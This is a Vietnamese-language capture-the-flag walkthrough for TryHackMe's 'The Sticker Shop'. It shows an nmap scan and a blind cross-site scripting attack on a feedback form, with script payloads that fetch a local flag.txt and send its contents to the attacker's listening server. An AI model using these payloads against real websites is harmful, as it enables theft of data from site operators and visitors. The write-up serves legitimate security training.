TryHackMe - The Sticker Shop
Hướng dẫn đơn giản về cách sử dụng ❌ Cross-Site Scripting trong thử thách này
Giới thiệu
Bạn có thể khai thác cửa hàng sticker để lấy flag không?
Cửa hàng sticker địa phương của bạn cuối cùng cũng đã phát triển trang web riêng. Họ không có nhiều kinh nghiệm về phát triển web, vì vậy đã quyết định phát triển và lưu trữ mọi thứ trên cùng một máy tính mà họ sử dụng để duyệt Internet và xem phản hồi của khách hàng. Một quyết định thật thông minh!
Nmap
Hãy bắt đầu bằng việc quét các cổng đang mở:
1
2
3
4
5
6
7
8
9
10
11
nmap -T4 -n -sC -sV -Pn -p- 10.10.10.243
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 b2:54:8c:e2:d7:67:ab:8f:90:b3:6f:52:c2:73:37:69 (RSA)
| 256 14:29:ec:36:95:e5:64:49:39:3f:b4:ec:ca:5f:ee:78 (ECDSA)
|_ 256 19:eb:1f:c9:67:92:01:61:0c:14:fe:71:4b:0d:50:40 (ED25519)
8080/tcp open http Werkzeug httpd 3.0.1 (Python 3.8.10)
|_http-title: Cat Sticker Shop
|_http-server-header: Werkzeug/3.0.1 Python/3.8.10
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Vì cổng HTTP thay thế đang mở, chúng ta có thể truy cập trang web qua 10.10.10.243:8080.
Hãy thử truy cập 10.10.10.243:8080/flag.txt.
Hãy truy cập trang con Feedback.
Cross-Site Scripting
Hãy thử một số payload XSS.
Hãy khởi động một máy chủ Python và thử gửi request đến máy tấn công bằng script:
1
python3 -m http.server 8000
Sau đó gửi script của chúng ta:
1
</textarea><script>fetch('http://10.11.75.122:8000');</script>
Chúng ta đã nhận được phản hồi, điều đó có nghĩa là tồn tại lỗ hổng Blind XSS.
Bây giờ, chúng ta có thể thử tạo một payload như sau:
1
</textarea><script>async function a() {const res1 = await fetch('http://127.0.0.1:8080/flag.txt');const b = await res1.text();const res2 = await fetch('http://10.11.75.122:8000?a=' + b);}a();</script>
Giải thích:
- Lấy tệp
flag.txttừhttp://127.0.0.1:8080/flag.txt. - Đọc nội dung của tệp dưới dạng văn bản.
- Gửi nội dung bị đánh cắp dưới dạng tham số truy vấn (
a=<OUR_FLAG>) đếnhttp://10.11.75.122:8000— máy tấn công của chúng ta.
Flag
Sau khi khởi động máy chủ Python trên máy cục bộ và chèn payload, chúng ta nhận được flag.





